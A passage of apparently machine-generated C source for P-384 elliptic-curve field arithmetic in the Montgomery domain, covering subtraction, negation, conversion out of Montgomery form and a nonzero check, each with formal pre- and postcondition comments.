&x2, 0x0, (arg1[0]), (arg2[0])); uint64_t x3; fiat_p384_uint1 x4; fiat_p384_addcarryx_u64(&x3, &x4, x2, (arg1[1]), (arg2[1])); uint64_t x5; fiat_p384_uint1 x6; fiat_p384_addcarryx_u64(&x5, &x6, x4, (arg1[2]), (arg2[2])); uint64_t x7; fiat_p384_uint1 x8; fiat_p384_addcarryx_u64(&x7, &x8, x6, (arg1[3]), (arg2[3])); uint64_t x9; fiat_p384_uint1 x10; fiat_p384_addcarryx_u64(&x9, &x10, x8, (arg1[4]), (arg2[4])); uint64_t x11; fiat_p384_uint1 x12; fiat_p384_addcarryx_u64(&x11, &x12, x10, (arg1[5]), (arg2[5])); uint64_t x13; fiat_p384_uint1 x14; fiat_p384_subborrowx_u64(&x13, &x14, 0x0, x1, UINT32_C(0xffffffff)); uint64_t x15; fiat_p384_uint1 x16; fiat_p384_subborrowx_u64(&x15, &x16, x14, x3, UINT64_C(0xffffffff00000000)); uint64_t x17; fiat_p384_uint1 x18; fiat_p384_subborrowx_u64(&x17, &x18, x16, x5, UINT64_C(0xfffffffffffffffe)); uint64_t x19; fiat_p384_uint1 x20; fiat_p384_subborrowx_u64(&x19, &x20, x18, x7, UINT64_C(0xffffffffffffffff)); uint64_t x21; fiat_p384_uint1 x22; fiat_p384_subborrowx_u64(&x21, &x22, x20, x9, UINT64_C(0xffffffffffffffff)); uint64_t x23; fiat_p384_uint1 x24; fiat_p384_subborrowx_u64(&x23, &x24, x22, x11, UINT64_C(0xffffffffffffffff)); uint64_t x25; fiat_p384_uint1 x26; fiat_p384_subborrowx_u64(&x25, &x26, x24, x12, 0x0); uint64_t x27; fiat_p384_cmovznz_u64(&x27, x26, x13, x1); uint64_t x28; fiat_p384_cmovznz_u64(&x28, x26, x15, x3); uint64_t x29; fiat_p384_cmovznz_u64(&x29, x26, x17, x5); uint64_t x30; fiat_p384_cmovznz_u64(&x30, x26, x19, x7); uint64_t x31; fiat_p384_cmovznz_u64(&x31, x26, x21, x9); uint64_t x32; fiat_p384_cmovznz_u64(&x32, x26, x23, x11); out1[0] = x27; out1[1] = x28; out1[2] = x29; out1[3] = x30; out1[4] = x31; out1[5] = x32; } /* * The function fiat_p384_sub subtracts two field elements in the Montgomery domain. * Preconditions: * 0 ≤ eval arg1 < m * 0 ≤ eval arg2 < m * Postconditions: * eval (from_montgomery out1) mod m = (eval (from_montgomery arg1) - eval (from_montgomery arg2)) mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] * arg2: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] */ static void fiat_p384_sub(uint64_t out1[6], const uint64_t arg1[6], const uint64_t arg2[6]) { uint64_t x1; fiat_p384_uint1 x2; fiat_p384_subborrowx_u64(&x1, &x2, 0x0, (arg1[0]), (arg2[0])); uint64_t x3; fiat_p384_uint1 x4; fiat_p384_subborrowx_u64(&x3, &x4, x2, (arg1[1]), (arg2[1])); uint64_t x5; fiat_p384_uint1 x6; fiat_p384_subborrowx_u64(&x5, &x6, x4, (arg1[2]), (arg2[2])); uint64_t x7; fiat_p384_uint1 x8; fiat_p384_subborrowx_u64(&x7, &x8, x6, (arg1[3]), (arg2[3])); uint64_t x9; fiat_p384_uint1 x10; fiat_p384_subborrowx_u64(&x9, &x10, x8, (arg1[4]), (arg2[4])); uint64_t x11; fiat_p384_uint1 x12; fiat_p384_subborrowx_u64(&x11, &x12, x10, (arg1[5]), (arg2[5])); uint64_t x13; fiat_p384_cmovznz_u64(&x13, x12, 0x0, UINT64_C(0xffffffffffffffff)); uint64_t x14; fiat_p384_uint1 x15; fiat_p384_addcarryx_u64(&x14, &x15, 0x0, x1, (x13 & UINT32_C(0xffffffff))); uint64_t x16; fiat_p384_uint1 x17; fiat_p384_addcarryx_u64(&x16, &x17, x15, x3, (x13 & UINT64_C(0xffffffff00000000))); uint64_t x18; fiat_p384_uint1 x19; fiat_p384_addcarryx_u64(&x18, &x19, x17, x5, (x13 & UINT64_C(0xfffffffffffffffe))); uint64_t x20; fiat_p384_uint1 x21; fiat_p384_addcarryx_u64(&x20, &x21, x19, x7, (x13 & UINT64_C(0xffffffffffffffff))); uint64_t x22; fiat_p384_uint1 x23; fiat_p384_addcarryx_u64(&x22, &x23, x21, x9, (x13 & UINT64_C(0xffffffffffffffff))); uint64_t x24; fiat_p384_uint1 x25; fiat_p384_addcarryx_u64(&x24, &x25, x23, x11, (x13 & UINT64_C(0xffffffffffffffff))); out1[0] = x14; out1[1] = x16; out1[2] = x18; out1[3] = x20; out1[4] = x22; out1[5] = x24; } /* * The function fiat_p384_opp negates a field element in the Montgomery domain. * Preconditions: * 0 ≤ eval arg1 < m * Postconditions: * eval (from_montgomery out1) mod m = -eval (from_montgomery arg1) mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] */ static void fiat_p384_opp(uint64_t out1[6], const uint64_t arg1[6]) { uint64_t x1; fiat_p384_uint1 x2; fiat_p384_subborrowx_u64(&x1, &x2, 0x0, 0x0, (arg1[0])); uint64_t x3; fiat_p384_uint1 x4; fiat_p384_subborrowx_u64(&x3, &x4, x2, 0x0, (arg1[1])); uint64_t x5; fiat_p384_uint1 x6; fiat_p384_subborrowx_u64(&x5, &x6, x4, 0x0, (arg1[2])); uint64_t x7; fiat_p384_uint1 x8; fiat_p384_subborrowx_u64(&x7, &x8, x6, 0x0, (arg1[3])); uint64_t x9; fiat_p384_uint1 x10; fiat_p384_subborrowx_u64(&x9, &x10, x8, 0x0, (arg1[4])); uint64_t x11; fiat_p384_uint1 x12; fiat_p384_subborrowx_u64(&x11, &x12, x10, 0x0, (arg1[5])); uint64_t x13; fiat_p384_cmovznz_u64(&x13, x12, 0x0, UINT64_C(0xffffffffffffffff)); uint64_t x14; fiat_p384_uint1 x15; fiat_p384_addcarryx_u64(&x14, &x15, 0x0, x1, (x13 & UINT32_C(0xffffffff))); uint64_t x16; fiat_p384_uint1 x17; fiat_p384_addcarryx_u64(&x16, &x17, x15, x3, (x13 & UINT64_C(0xffffffff00000000))); uint64_t x18; fiat_p384_uint1 x19; fiat_p384_addcarryx_u64(&x18, &x19, x17, x5, (x13 & UINT64_C(0xfffffffffffffffe))); uint64_t x20; fiat_p384_uint1 x21; fiat_p384_addcarryx_u64(&x20, &x21, x19, x7, (x13 & UINT64_C(0xffffffffffffffff))); uint64_t x22; fiat_p384_uint1 x23; fiat_p384_addcarryx_u64(&x22, &x23, x21, x9, (x13 & UINT64_C(0xffffffffffffffff))); uint64_t x24; fiat_p384_uint1 x25; fiat_p384_addcarryx_u64(&x24, &x25, x23, x11, (x13 & UINT64_C(0xffffffffffffffff))); out1[0] = x14; out1[1] = x16; out1[2] = x18; out1[3] = x20; out1[4] = x22; out1[5] = x24; } /* * The function fiat_p384_from_montgomery translates a field element out of the Montgomery domain. * Preconditions: * 0 ≤ eval arg1 < m * Postconditions: * eval out1 mod m = (eval arg1 * ((2^64)⁻¹ mod m)^6) mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] */ static void fiat_p384_from_montgomery(uint64_t out1[6], const uint64_t arg1[6]) { uint64_t x1 = (arg1[0]); uint64_t x2; uint64_t x3; fiat_p384_mulx_u64(&x2, &x3, x1, UINT64_C(0x100000001)); uint64_t x4; uint64_t x5; fiat_p384_mulx_u64(&x4, &x5, x2, UINT64_C(0xffffffffffffffff)); uint64_t x6; uint64_t x7; fiat_p384_mulx_u64(&x6, &x7, x2, UINT64_C(0xffffffffffffffff)); uint64_t x8; uint64_t x9; fiat_p384_mulx_u64(&x8, &x9, x2, UINT64_C(0xffffffffffffffff)); uint64_t x10; uint64_t x11; fiat_p384_mulx_u64(&x10, &x11, x2, UINT64_C(0xfffffffffffffffe)); uint64_t x12; uint64_t x13; fiat_p384_mulx_u64(&x12, &x13, x2, UINT64_C(0xffffffff00000000)); uint64_t x14; uint64_t x15; fiat_p384_mulx_u64(&x14, &x15, x2, UINT32_C(0xffffffff)); uint64_t x16; fiat_p384_uint1 x17; fiat_p384_addcarryx_u64(&x16, &x17, 0x0, x15, x12); uint64_t x18; fiat_p384_uint1 x19; fiat_p384_addcarryx_u64(&x18, &x19, x17, x13, x10); uint64_t x20; fiat_p384_uint1 x21; fiat_p384_addcarryx_u64(&x20, &x21, x19, x11, x8); uint64_t x22; fiat_p384_uint1 x23; fiat_p384_addcarryx_u64(&x22, &x23, x21, x9, x6); uint64_t x24; fiat_p384_uint1 x25; fiat_p384_addcarryx_u64(&x24, &x25, x23, x7, x4); uint64_t x26; fiat_p384_uint1 x27; fiat_p384_addcarryx_u64(&x26, &x27, 0x0, x1, x14); uint64_t x28; fiat_p384_uint1 x29; fiat_p384_addcarryx_u64(&x28, &x29, x27, 0x0, x16); uint64_t x30; fiat_p384_uint1 x31; fiat_p384_addcarryx_u64(&x30, &x31, x29, 0x0, x18); uint64_t x32; fiat_p384_uint1 x33; fiat_p384_addcarryx_u64(&x32, &x33, x31, 0x0, x20); uint64_t x34; fiat_p384_uint1 x35; fiat_p384_addcarryx_u64(&x34, &x35, x33, 0x0, x22); uint64_t x36; fiat_p384_uint1 x37; fiat_p384_addcarryx_u64(&x36, &x37, x35, 0x0, x24); uint64_t x38; fiat_p384_uint1 x39; fiat_p384_addcarryx_u64(&x38, &x39, x25, x5, 0x0); uint64_t x40; fiat_p384_uint1 x41; fiat_p384_addcarryx_u64(&x40, &x41, x37, 0x0, x38); uint64_t x42; fiat_p384_uint1 x43; fiat_p384_addcarryx_u64(&x42, &x43, 0x0, x28, (arg1[1])); uint64_t x44; fiat_p384_uint1 x45; fiat_p384_addcarryx_u64(&x44, &x45, x43, x30, 0x0); uint64_t x46; fiat_p384_uint1 x47; fiat_p384_addcarryx_u64(&x46, &x47, x45, x32, 0x0); uint64_t x48; fiat_p384_uint1 x49; fiat_p384_addcarryx_u64(&x48, &x49, x47, x34, 0x0); uint64_t x50; fiat_p384_uint1 x51; fiat_p384_addcarryx_u64(&x50, &x51, x49, x36, 0x0); uint64_t x52; fiat_p384_uint1 x53; fiat_p384_addcarryx_u64(&x52, &x53, x51, x40, 0x0); uint64_t x54; uint64_t x55; fiat_p384_mulx_u64(&x54, &x55, x42, UINT64_C(0x100000001)); uint64_t x56; uint64_t x57; fiat_p384_mulx_u64(&x56, &x57, x54, UINT64_C(0xffffffffffffffff)); uint64_t x58; uint64_t x59; fiat_p384_mulx_u64(&x58, &x59, x54, UINT64_C(0xffffffffffffffff)); uint64_t x60; uint64_t x61; fiat_p384_mulx_u64(&x60, &x61, x54, UINT64_C(0xffffffffffffffff)); uint64_t x62; uint64_t x63; fiat_p384_mulx_u64(&x62, &x63, x54, UINT64_C(0xfffffffffffffffe)); uint64_t x64; uint64_t x65; fiat_p384_mulx_u64(&x64, &x65, x54, UINT64_C(0xffffffff00000000)); uint64_t x66; uint64_t x67; fiat_p384_mulx_u64(&x66, &x67, x54, UINT32_C(0xffffffff)); uint64_t x68; fiat_p384_uint1 x69; fiat_p384_addcarryx_u64(&x68, &x69, 0x0, x67, x64); uint64_t x70; fiat_p384_uint1 x71; fiat_p384_addcarryx_u64(&x70, &x71, x69, x65, x62); uint64_t x72; fiat_p384_uint1 x73; fiat_p384_addcarryx_u64(&x72, &x73, x71, x63, x60); uint64_t x74; fiat_p384_uint1 x75; fiat_p384_addcarryx_u64(&x74, &x75, x73, x61, x58); uint64_t x76; fiat_p384_uint1 x77; fiat_p384_addcarryx_u64(&x76, &x77, x75, x59, x56); uint64_t x78; fiat_p384_uint1 x79; fiat_p384_addcarryx_u64(&x78, &x79, 0x0, x42, x66); uint64_t x80; fiat_p384_uint1 x81; fiat_p384_addcarryx_u64(&x80, &x81, x79, x44, x68); uint64_t x82; fiat_p384_uint1 x83; fiat_p384_addcarryx_u64(&x82, &x83, x81, x46, x70); uint64_t x84; fiat_p384_uint1 x85; fiat_p384_addcarryx_u64(&x84, &x85, x83, x48, x72); uint64_t x86; fiat_p384_uint1 x87; fiat_p384_addcarryx_u64(&x86, &x87, x85, x50, x74); uint64_t x88; fiat_p384_uint1 x89; fiat_p384_addcarryx_u64(&x88, &x89, x87, x52, x76); uint64_t x90; fiat_p384_uint1 x91; fiat_p384_addcarryx_u64(&x90, &x91, x77, x57, 0x0); uint64_t x92; fiat_p384_uint1 x93; fiat_p384_addcarryx_u64(&x92, &x93, x41, 0x0, 0x0); uint64_t x94; fiat_p384_uint1 x95; fiat_p384_addcarryx_u64(&x94, &x95, x53, (fiat_p384_uint1)x92, 0x0); uint64_t x96; fiat_p384_uint1 x97; fiat_p384_addcarryx_u64(&x96, &x97, x89, x94, x90); uint64_t x98; fiat_p384_uint1 x99; fiat_p384_addcarryx_u64(&x98, &x99, 0x0, x80, (arg1[2])); uint64_t x100; fiat_p384_uint1 x101; fiat_p384_addcarryx_u64(&x100, &x101, x99, x82, 0x0); uint64_t x102; fiat_p384_uint1 x103; fiat_p384_addcarryx_u64(&x102, &x103, x101, x84, 0x0); uint64_t x104; fiat_p384_uint1 x105; fiat_p384_addcarryx_u64(&x104, &x105, x103, x86, 0x0); uint64_t x106; fiat_p384_uint1 x107; fiat_p384_addcarryx_u64(&x106, &x107, x105, x88, 0x0); uint64_t x108; fiat_p384_uint1 x109; fiat_p384_addcarryx_u64(&x108, &x109, x107, x96, 0x0); uint64_t x110; uint64_t x111; fiat_p384_mulx_u64(&x110, &x111, x98, UINT64_C(0x100000001)); uint64_t x112; uint64_t x113; fiat_p384_mulx_u64(&x112, &x113, x110, UINT64_C(0xffffffffffffffff)); uint64_t x114; uint64_t x115; fiat_p384_mulx_u64(&x114, &x115, x110, UINT64_C(0xffffffffffffffff)); uint64_t x116; uint64_t x117; fiat_p384_mulx_u64(&x116, &x117, x110, UINT64_C(0xffffffffffffffff)); uint64_t x118; uint64_t x119; fiat_p384_mulx_u64(&x118, &x119, x110, UINT64_C(0xfffffffffffffffe)); uint64_t x120; uint64_t x121; fiat_p384_mulx_u64(&x120, &x121, x110, UINT64_C(0xffffffff00000000)); uint64_t x122; uint64_t x123; fiat_p384_mulx_u64(&x122, &x123, x110, UINT32_C(0xffffffff)); uint64_t x124; fiat_p384_uint1 x125; fiat_p384_addcarryx_u64(&x124, &x125, 0x0, x123, x120); uint64_t x126; fiat_p384_uint1 x127; fiat_p384_addcarryx_u64(&x126, &x127, x125, x121, x118); uint64_t x128; fiat_p384_uint1 x129; fiat_p384_addcarryx_u64(&x128, &x129, x127, x119, x116); uint64_t x130; fiat_p384_uint1 x131; fiat_p384_addcarryx_u64(&x130, &x131, x129, x117, x114); uint64_t x132; fiat_p384_uint1 x133; fiat_p384_addcarryx_u64(&x132, &x133, x131, x115, x112); uint64_t x134; fiat_p384_uint1 x135; fiat_p384_addcarryx_u64(&x134, &x135, 0x0, x98, x122); uint64_t x136; fiat_p384_uint1 x137; fiat_p384_addcarryx_u64(&x136, &x137, x135, x100, x124); uint64_t x138; fiat_p384_uint1 x139; fiat_p384_addcarryx_u64(&x138, &x139, x137, x102, x126); uint64_t x140; fiat_p384_uint1 x141; fiat_p384_addcarryx_u64(&x140, &x141, x139, x104, x128); uint64_t x142; fiat_p384_uint1 x143; fiat_p384_addcarryx_u64(&x142, &x143, x141, x106, x130); uint64_t x144; fiat_p384_uint1 x145; fiat_p384_addcarryx_u64(&x144, &x145, x143, x108, x132); uint64_t x146; fiat_p384_uint1 x147; fiat_p384_addcarryx_u64(&x146, &x147, x133, x113, 0x0); uint64_t x148; fiat_p384_uint1 x149; fiat_p384_addcarryx_u64(&x148, &x149, x97, 0x0, 0x0); uint64_t x150; fiat_p384_uint1 x151; fiat_p384_addcarryx_u64(&x150, &x151, x109, (fiat_p384_uint1)x148, 0x0); uint64_t x152; fiat_p384_uint1 x153; fiat_p384_addcarryx_u64(&x152, &x153, x145, x150, x146); uint64_t x154; fiat_p384_uint1 x155; fiat_p384_addcarryx_u64(&x154, &x155, 0x0, x136, (arg1[3])); uint64_t x156; fiat_p384_uint1 x157; fiat_p384_addcarryx_u64(&x156, &x157, x155, x138, 0x0); uint64_t x158; fiat_p384_uint1 x159; fiat_p384_addcarryx_u64(&x158, &x159, x157, x140, 0x0); uint64_t x160; fiat_p384_uint1 x161; fiat_p384_addcarryx_u64(&x160, &x161, x159, x142, 0x0); uint64_t x162; fiat_p384_uint1 x163; fiat_p384_addcarryx_u64(&x162, &x163, x161, x144, 0x0); uint64_t x164; fiat_p384_uint1 x165; fiat_p384_addcarryx_u64(&x164, &x165, x163, x152, 0x0); uint64_t x166; uint64_t x167; fiat_p384_mulx_u64(&x166, &x167, x154, UINT64_C(0x100000001)); uint64_t x168; uint64_t x169; fiat_p384_mulx_u64(&x168, &x169, x166, UINT64_C(0xffffffffffffffff)); uint64_t x170; uint64_t x171; fiat_p384_mulx_u64(&x170, &x171, x166, UINT64_C(0xffffffffffffffff)); uint64_t x172; uint64_t x173; fiat_p384_mulx_u64(&x172, &x173, x166, UINT64_C(0xffffffffffffffff)); uint64_t x174; uint64_t x175; fiat_p384_mulx_u64(&x174, &x175, x166, UINT64_C(0xfffffffffffffffe)); uint64_t x176; uint64_t x177; fiat_p384_mulx_u64(&x176, &x177, x166, UINT64_C(0xffffffff00000000)); uint64_t x178; uint64_t x179; fiat_p384_mulx_u64(&x178, &x179, x166, UINT32_C(0xffffffff)); uint64_t x180; fiat_p384_uint1 x181; fiat_p384_addcarryx_u64(&x180, &x181, 0x0, x179, x176); uint64_t x182; fiat_p384_uint1 x183; fiat_p384_addcarryx_u64(&x182, &x183, x181, x177, x174); uint64_t x184; fiat_p384_uint1 x185; fiat_p384_addcarryx_u64(&x184, &x185, x183, x175, x172); uint64_t x186; fiat_p384_uint1 x187; fiat_p384_addcarryx_u64(&x186, &x187, x185, x173, x170); uint64_t x188; fiat_p384_uint1 x189; fiat_p384_addcarryx_u64(&x188, &x189, x187, x171, x168); uint64_t x190; fiat_p384_uint1 x191; fiat_p384_addcarryx_u64(&x190, &x191, 0x0, x154, x178); uint64_t x192; fiat_p384_uint1 x193; fiat_p384_addcarryx_u64(&x192, &x193, x191, x156, x180); uint64_t x194; fiat_p384_uint1 x195; fiat_p384_addcarryx_u64(&x194, &x195, x193, x158, x182); uint64_t x196; fiat_p384_uint1 x197; fiat_p384_addcarryx_u64(&x196, &x197, x195, x160, x184); uint64_t x198; fiat_p384_uint1 x199; fiat_p384_addcarryx_u64(&x198, &x199, x197, x162, x186); uint64_t x200; fiat_p384_uint1 x201; fiat_p384_addcarryx_u64(&x200, &x201, x199, x164, x188); uint64_t x202; fiat_p384_uint1 x203; fiat_p384_addcarryx_u64(&x202, &x203, x189, x169, 0x0); uint64_t x204; fiat_p384_uint1 x205; fiat_p384_addcarryx_u64(&x204, &x205, x153, 0x0, 0x0); uint64_t x206; fiat_p384_uint1 x207; fiat_p384_addcarryx_u64(&x206, &x207, x165, (fiat_p384_uint1)x204, 0x0); uint64_t x208; fiat_p384_uint1 x209; fiat_p384_addcarryx_u64(&x208, &x209, x201, x206, x202); uint64_t x210; fiat_p384_uint1 x211; fiat_p384_addcarryx_u64(&x210, &x211, 0x0, x192, (arg1[4])); uint64_t x212; fiat_p384_uint1 x213; fiat_p384_addcarryx_u64(&x212, &x213, x211, x194, 0x0); uint64_t x214; fiat_p384_uint1 x215; fiat_p384_addcarryx_u64(&x214, &x215, x213, x196, 0x0); uint64_t x216; fiat_p384_uint1 x217; fiat_p384_addcarryx_u64(&x216, &x217, x215, x198, 0x0); uint64_t x218; fiat_p384_uint1 x219; fiat_p384_addcarryx_u64(&x218, &x219, x217, x200, 0x0); uint64_t x220; fiat_p384_uint1 x221; fiat_p384_addcarryx_u64(&x220, &x221, x219, x208, 0x0); uint64_t x222; uint64_t x223; fiat_p384_mulx_u64(&x222, &x223, x210, UINT64_C(0x100000001)); uint64_t x224; uint64_t x225; fiat_p384_mulx_u64(&x224, &x225, x222, UINT64_C(0xffffffffffffffff)); uint64_t x226; uint64_t x227; fiat_p384_mulx_u64(&x226, &x227, x222, UINT64_C(0xffffffffffffffff)); uint64_t x228; uint64_t x229; fiat_p384_mulx_u64(&x228, &x229, x222, UINT64_C(0xffffffffffffffff)); uint64_t x230; uint64_t x231; fiat_p384_mulx_u64(&x230, &x231, x222, UINT64_C(0xfffffffffffffffe)); uint64_t x232; uint64_t x233; fiat_p384_mulx_u64(&x232, &x233, x222, UINT64_C(0xffffffff00000000)); uint64_t x234; uint64_t x235; fiat_p384_mulx_u64(&x234, &x235, x222, UINT32_C(0xffffffff)); uint64_t x236; fiat_p384_uint1 x237; fiat_p384_addcarryx_u64(&x236, &x237, 0x0, x235, x232); uint64_t x238; fiat_p384_uint1 x239; fiat_p384_addcarryx_u64(&x238, &x239, x237, x233, x230); uint64_t x240; fiat_p384_uint1 x241; fiat_p384_addcarryx_u64(&x240, &x241, x239, x231, x228); uint64_t x242; fiat_p384_uint1 x243; fiat_p384_addcarryx_u64(&x242, &x243, x241, x229, x226); uint64_t x244; fiat_p384_uint1 x245; fiat_p384_addcarryx_u64(&x244, &x245, x243, x227, x224); uint64_t x246; fiat_p384_uint1 x247; fiat_p384_addcarryx_u64(&x246, &x247, 0x0, x210, x234); uint64_t x248; fiat_p384_uint1 x249; fiat_p384_addcarryx_u64(&x248, &x249, x247, x212, x236); uint64_t x250; fiat_p384_uint1 x251; fiat_p384_addcarryx_u64(&x250, &x251, x249, x214, x238); uint64_t x252; fiat_p384_uint1 x253; fiat_p384_addcarryx_u64(&x252, &x253, x251, x216, x240); uint64_t x254; fiat_p384_uint1 x255; fiat_p384_addcarryx_u64(&x254, &x255, x253, x218, x242); uint64_t x256; fiat_p384_uint1 x257; fiat_p384_addcarryx_u64(&x256, &x257, x255, x220, x244); uint64_t x258; fiat_p384_uint1 x259; fiat_p384_addcarryx_u64(&x258, &x259, x245, x225, 0x0); uint64_t x260; fiat_p384_uint1 x261; fiat_p384_addcarryx_u64(&x260, &x261, x209, 0x0, 0x0); uint64_t x262; fiat_p384_uint1 x263; fiat_p384_addcarryx_u64(&x262, &x263, x221, (fiat_p384_uint1)x260, 0x0); uint64_t x264; fiat_p384_uint1 x265; fiat_p384_addcarryx_u64(&x264, &x265, x257, x262, x258); uint64_t x266; fiat_p384_uint1 x267; fiat_p384_addcarryx_u64(&x266, &x267, 0x0, x248, (arg1[5])); uint64_t x268; fiat_p384_uint1 x269; fiat_p384_addcarryx_u64(&x268, &x269, x267, x250, 0x0); uint64_t x270; fiat_p384_uint1 x271; fiat_p384_addcarryx_u64(&x270, &x271, x269, x252, 0x0); uint64_t x272; fiat_p384_uint1 x273; fiat_p384_addcarryx_u64(&x272, &x273, x271, x254, 0x0); uint64_t x274; fiat_p384_uint1 x275; fiat_p384_addcarryx_u64(&x274, &x275, x273, x256, 0x0); uint64_t x276; fiat_p384_uint1 x277; fiat_p384_addcarryx_u64(&x276, &x277, x275, x264, 0x0); uint64_t x278; uint64_t x279; fiat_p384_mulx_u64(&x278, &x279, x266, UINT64_C(0x100000001)); uint64_t x280; uint64_t x281; fiat_p384_mulx_u64(&x280, &x281, x278, UINT64_C(0xffffffffffffffff)); uint64_t x282; uint64_t x283; fiat_p384_mulx_u64(&x282, &x283, x278, UINT64_C(0xffffffffffffffff)); uint64_t x284; uint64_t x285; fiat_p384_mulx_u64(&x284, &x285, x278, UINT64_C(0xffffffffffffffff)); uint64_t x286; uint64_t x287; fiat_p384_mulx_u64(&x286, &x287, x278, UINT64_C(0xfffffffffffffffe)); uint64_t x288; uint64_t x289; fiat_p384_mulx_u64(&x288, &x289, x278, UINT64_C(0xffffffff00000000)); uint64_t x290; uint64_t x291; fiat_p384_mulx_u64(&x290, &x291, x278, UINT32_C(0xffffffff)); uint64_t x292; fiat_p384_uint1 x293; fiat_p384_addcarryx_u64(&x292, &x293, 0x0, x291, x288); uint64_t x294; fiat_p384_uint1 x295; fiat_p384_addcarryx_u64(&x294, &x295, x293, x289, x286); uint64_t x296; fiat_p384_uint1 x297; fiat_p384_addcarryx_u64(&x296, &x297, x295, x287, x284); uint64_t x298; fiat_p384_uint1 x299; fiat_p384_addcarryx_u64(&x298, &x299, x297, x285, x282); uint64_t x300; fiat_p384_uint1 x301; fiat_p384_addcarryx_u64(&x300, &x301, x299, x283, x280); uint64_t x302; fiat_p384_uint1 x303; fiat_p384_addcarryx_u64(&x302, &x303, 0x0, x266, x290); uint64_t x304; fiat_p384_uint1 x305; fiat_p384_addcarryx_u64(&x304, &x305, x303, x268, x292); uint64_t x306; fiat_p384_uint1 x307; fiat_p384_addcarryx_u64(&x306, &x307, x305, x270, x294); uint64_t x308; fiat_p384_uint1 x309; fiat_p384_addcarryx_u64(&x308, &x309, x307, x272, x296); uint64_t x310; fiat_p384_uint1 x311; fiat_p384_addcarryx_u64(&x310, &x311, x309, x274, x298); uint64_t x312; fiat_p384_uint1 x313; fiat_p384_addcarryx_u64(&x312, &x313, x311, x276, x300); uint64_t x314; fiat_p384_uint1 x315; fiat_p384_addcarryx_u64(&x314, &x315, x301, x281, 0x0); uint64_t x316; fiat_p384_uint1 x317; fiat_p384_addcarryx_u64(&x316, &x317, x265, 0x0, 0x0); uint64_t x318; fiat_p384_uint1 x319; fiat_p384_addcarryx_u64(&x318, &x319, x277, (fiat_p384_uint1)x316, 0x0); uint64_t x320; fiat_p384_uint1 x321; fiat_p384_addcarryx_u64(&x320, &x321, x313, x318, x314); uint64_t x322; fiat_p384_uint1 x323; fiat_p384_subborrowx_u64(&x322, &x323, 0x0, x304, UINT32_C(0xffffffff)); uint64_t x324; fiat_p384_uint1 x325; fiat_p384_subborrowx_u64(&x324, &x325, x323, x306, UINT64_C(0xffffffff00000000)); uint64_t x326; fiat_p384_uint1 x327; fiat_p384_subborrowx_u64(&x326, &x327, x325, x308, UINT64_C(0xfffffffffffffffe)); uint64_t x328; fiat_p384_uint1 x329; fiat_p384_subborrowx_u64(&x328, &x329, x327, x310, UINT64_C(0xffffffffffffffff)); uint64_t x330; fiat_p384_uint1 x331; fiat_p384_subborrowx_u64(&x330, &x331, x329, x312, UINT64_C(0xffffffffffffffff)); uint64_t x332; fiat_p384_uint1 x333; fiat_p384_subborrowx_u64(&x332, &x333, x331, x320, UINT64_C(0xffffffffffffffff)); uint64_t x334; fiat_p384_uint1 x335; fiat_p384_addcarryx_u64(&x334, &x335, x321, 0x0, 0x0); uint64_t x336; fiat_p384_uint1 x337; fiat_p384_subborrowx_u64(&x336, &x337, x333, (fiat_p384_uint1)x334, 0x0); uint64_t x338; fiat_p384_cmovznz_u64(&x338, x337, x322, x304); uint64_t x339; fiat_p384_cmovznz_u64(&x339, x337, x324, x306); uint64_t x340; fiat_p384_cmovznz_u64(&x340, x337, x326, x308); uint64_t x341; fiat_p384_cmovznz_u64(&x341, x337, x328, x310); uint64_t x342; fiat_p384_cmovznz_u64(&x342, x337, x330, x312); uint64_t x343; fiat_p384_cmovznz_u64(&x343, x337, x332, x320); out1[0] = x338; out1[1] = x339; out1[2] = x340; out1[3] = x341; out1[4] = x342; out1[5] = x343; } /* * The function fiat_p384_nonzero outputs a single non-zero word if the input is non-zero and zero otherwise. * Preconditions: * 0 ≤ eval arg1 < m * Postconditions: * out1 = 0 ↔ eval (from_montgomery arg1) mod m = 0 * * Input Bounds: * arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] * Output Bounds: * out1: [0x0 ~> 0xffffffffffffffff] */ static void fiat_p384_nonzero(uint64_t* out1, const uint64_t arg1[6]) { uint64_t x1 = ((arg1[0]) | ((arg1[1]) | ((arg1[2]) | ((arg1[3]) | ((arg1[4]) | ((arg1[5]) | (uint64_t)0x0)))))); *out1 = x1; } /* * The function fiat_p384_selectznz is a multi-limb conditional select. * Postconditions: * eval out1 = (if arg1 = 0 then eval arg2 else eval arg3) * * Input Bounds: * arg1: [0x0 ~> 0x1] * arg2: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 